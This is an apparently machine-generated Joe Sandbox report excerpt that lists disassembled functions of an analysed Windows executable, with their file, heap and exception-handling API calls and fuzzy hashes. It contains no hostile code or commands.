Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction ID: 9d10d91046bd1a4dd32f0e664b06ea8990f5f8cc09720d5c411fd584516079ca
Opcode Fuzzy Hash: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
Instruction Fuzzy Hash: 83313031901254DBCB11EFA4C6487EDBBB5AF15304F1440AEE8057B382DB78DE49DBA6

Function 00404C4A Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404C4F

Part of subcall function 00405468: __EH_prolog.LIBCMT ref: 0040546D

Part of subcall function 00404D6C: __EH_prolog.LIBCMT ref: 00404D71

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
Instruction ID: 9114e62b92f145f299bca9ec68259fa3d4e050d8b6bab90f4208dc7235d8fbe8
Opcode Fuzzy Hash: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
Instruction Fuzzy Hash: 1A31AF71901209AADF05FFE1E842AEEBF75AF50318F10402FE441332D2CE795A4ADE59

Function 00413EA3 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 00413F8A

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction ID: 7c2cfac85a053aeac9454e1c2b35b253285297f11283e44f43d764ba5cf7311f
Opcode Fuzzy Hash: ba869b70dadc95adccf46eac288c3ec4a3f94eb288c9c5288a46f5d51cb0c97c
Instruction Fuzzy Hash: 1A217431E44605EBDB10AFA9DC42BDAB7B4EB01765F10421BF411EB2D0C778AAC28A58

Function 00413F9F Relevance: 1.6, APIs: 1, Instructions: 75memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,00000000,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074), ref: 00414073

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapInitialize
String ID:
API String ID: 641406236-0
Opcode ID: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction ID: 47133188c5d3e4a4a91398ef735a592283a7fe3b34e77d79aa204ad2d485eaa9
Opcode Fuzzy Hash: d24b5f948fba04bba88b9cd0cdc5eff1b7a8b89ab7c34ea04cbff2048bde7936
Instruction Fuzzy Hash: 8321C572901609EADB20ABA6DC46BDE7B78EF48764F14021BF511B61C0D77C89C18AAD

Function 0040A011 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040A016

Part of subcall function 00409C49: __EH_prolog.LIBCMT ref: 00409C4E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction ID: 1dffea12e82b47f2a36155f0264cd4dada82ecc0bfe076f3ab6191fd12039e28
Opcode Fuzzy Hash: a5db852efdc6b67417a23c65be594c4014babbfd4966d5bc1e1ef807a1e39f82
Instruction Fuzzy Hash: 4C118FB0A01254DADB09EBAAC5153EDFBA69FA1318F14419FA542732D2CBF81B048666

Function 004092E9 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004092EE

Part of subcall function 00402634: __EH_prolog.LIBCMT ref: 00402639

Part of subcall function 00405841: __EH_prolog.LIBCMT ref: 00405846

Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog$ExceptionRaise
String ID:
API String ID: 2062786585-0
Opcode ID: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction ID: f7fbb3e9a8787d76bf0f9f15101cef5fd9d7ebfa1ebb25f778e30044bb5e9d70
Opcode Fuzzy Hash: 0f97881bfda5a338648d471f12701516f54a75613031e54e105c5c79c14cffea
Instruction Fuzzy Hash: 7B01D6766406049ACB10EF25C451ADEBBB1FF95318F00852FE896632E1CB785649CF54

Function 00404D6C Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404D71

Part of subcall function 00405417: __EH_prolog.LIBCMT ref: 0040541C

Part of subcall function 00404C4A: __EH_prolog.LIBCMT ref: 00404C4F

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
Instruction ID: f66e6ca9409e8e8da17af4a7d05db337a423f76100d3163e29410ef6f876c1fe
Opcode Fuzzy Hash: 0829d6d4e2349ba8d3de6fc09fd6bc5a7f7a281632d8264b3d1e6490f9b222f7
Instruction Fuzzy Hash: 4901A2B25101049ACB09EF90C852BED7B70EF94308F00412FE505776D2DB395A99CA48

Function 004027A6 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004027AB

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
Instruction ID: 116dfd3529ede02fc162d870fedee277598c738aed7d6567ac0ffa60a71ea666
Opcode Fuzzy Hash: 01677122db5f9a9dc92e0e68fc714b810c240e95920f6c7928f993aadc845804
Instruction Fuzzy Hash: BCF04F719005069BDB15EB9AC892AEFBBB5FF80308F00403FE142775E2CA787985DB84

Function 004048B7 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE ref: 004048F1

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: File$Attributes$ApisH_prolog
String ID:
API String ID: 3885834519-0
Opcode ID: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction ID: d8abee0b5bf8aaacd3c7805e8248c04f8c14d25ec22198af343fb12e16f398c4
Opcode Fuzzy Hash: 5b715810b1dd674a34631cbecd8c08cc0b37525bd29b6e223b4e60d05e4c896b
Instruction Fuzzy Hash: 76E02B66F002502BC7103BA5AC065DB3B9D9B81314B20C43BA602A3291E9388E44A258

Function 0040499C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,00000000), ref: 004049D0

Part of subcall function 004048FF: __EH_prolog.LIBCMT ref: 00404904
Part of subcall function 004048FF: AreFileApisANSI.KERNEL32(?,?,?,?,?,00000000), ref: 00404920

Part of subcall function 0040498D: CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: CreateDirectory$ApisFileH_prolog
String ID:
API String ID: 1021588753-0
Opcode ID: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction ID: 2f64d7a75cdf7ff6db5ed191fdbb19fa086d8aebc57dacf92a4c812467fb8a6f
Opcode Fuzzy Hash: 64b02790250bc5f7a2d9c9dee2bb0ba3baf7154ac0717740dd27b10109941aca
Instruction Fuzzy Hash: 18E0DFA0B002002BCB147B79AC0679E376D4B80218F10867EA652671E1EA7999449608

Function 004050AB Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetTempFileNameA.KERNELBASE(?,?,00000000,00000003,?,?,00000000,004050FF,?,?,?,00405160,?,?,?,00000003), ref: 004050CE

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction ID: d5c13e583cf4c34c7a3a11816bb62f42e40da82da4d3cfe63a6d47b8b5213b5b
Opcode Fuzzy Hash: b528cc7740eeb1b4bc26185d4807bc948aa73c1e47f21f7391ebf62f515a6cd3
Instruction Fuzzy Hash: 91E086723016106BD71056699C45A4BA7DEDFD8752F15843FB545E3381D6B48C004A78

Function 00405D59 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00405D71

Part of subcall function 00413D3D: RaiseException.KERNEL32(00000003,00000000,00000003,?,00000003,?,00000003,00000000,00000000,00401055,00000003,?,00000000), ref: 00413D6B

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: AllocExceptionRaiseString
String ID:
API String ID: 1415472724-0
Opcode ID: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
Instruction ID: d0734d5c7e5939215d37afae748a6b456316f2180b0855a0f59ce99ff0d6cfc1
Opcode Fuzzy Hash: 313272d88e3834385c103984260c6c8c9ca4a4ab5fd4d804f695adf0373ca9e7
Instruction Fuzzy Hash: C0E0E572640704A6C7209F65D8559877BE8EF00385B10C43FF548D6150E779E5508BD8

Function 004058CD Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004058D2

Part of subcall function 00405806: __EH_prolog.LIBCMT ref: 0040580B

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction ID: 5bfd618a99589873673dbdde5608ad138896477ef474a485a6b18cf586c7d2b5
Opcode Fuzzy Hash: 4dbd7d17023fb4ed967e01381c8a8867ec9f7b58b557c0ee91cef2e13e81d9e3
Instruction Fuzzy Hash: E7E01A72D410049ACB05BB95E9526EDB778EF51319F10403BA412725919B785E18CA58

Function 00405C87 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00405CAA

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction ID: 646c0e8b7f70081892c45aa98fa77e415187d9694f298a279afc83584de54578
Opcode Fuzzy Hash: e8bb3e3f97a2863afff16af0127552a93838812ee23e56086e0288621279a6ee
Instruction Fuzzy Hash: F8E0E575600208FFCB11CF95C801B8E7BF9EB09364F20C069F914AA260D339EA50DF54

Function 004057CF Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(000000FF,?,00000000), ref: 004057E2

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
Instruction ID: a758ab2b17ce6f49d488120cb08fd5c978c50398f8c9baf96463bb2a7ddcf629
Opcode Fuzzy Hash: 3f971b6e9297c3c0785ec7bffefe866e244883e864d52b31c5d14701259a415c
Instruction Fuzzy Hash: 7CD0C231140009ABC711EB21DC41EEA33ADEB04348F144075AA495B1B0EA319D489F54

Function 00405841 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405846

Part of subcall function 004055DE: __EH_prolog.LIBCMT ref: 004055E3
Part of subcall function 004055DE: FindFirstFileW.KERNELBASE(?,?), ref: 00405611

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: FindH_prolog$CloseFileFirst
String ID:
API String ID: 2004497850-0
Opcode ID: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction ID: b7fde63f1f0c292b4e5d00ec8c3d5d27a79480d2707f186765d0e2b5b752fd38
Opcode Fuzzy Hash: 220b4cbfc40620496b03372d3826f196b8ab05123004ed9f75f8387d5271fe3c
Instruction Fuzzy Hash: 7CE04FB1951506ABCB14DF50CC52AEEB734FB1131CF10421EE021722D08B785648CA28

Function 00405806 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040580B

Part of subcall function 0040553A: FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: Find$CloseFileFirstH_prolog
String ID:
API String ID: 889498515-0
Opcode ID: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction ID: 15a52a3ac40e1f9f01e416ae3406c700f8aec04b6379e90cb97043f6baa550c5
Opcode Fuzzy Hash: bc6002362a3e3570d7b7dbbff413248cb0e6e96336b5f812f3c621cb83c14948
Instruction Fuzzy Hash: 2AE01AB195150AAACB04DB50CC52AEEB760EB1131CF00421AA421722D0877856488A28

Function 0040F8C3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040F8C8

Part of subcall function 0040F648: __EH_prolog.LIBCMT ref: 0040F64D

Memory Dump Source

Source File: 00000006.00000002.2988775057.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2988751185.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988844634.000000000041B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988869751.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988911004.0000000000422000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2988932561.0000000000423000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2989026209.0000000000427000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_r0bVQRH8Dto7infNi6DOB01w.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
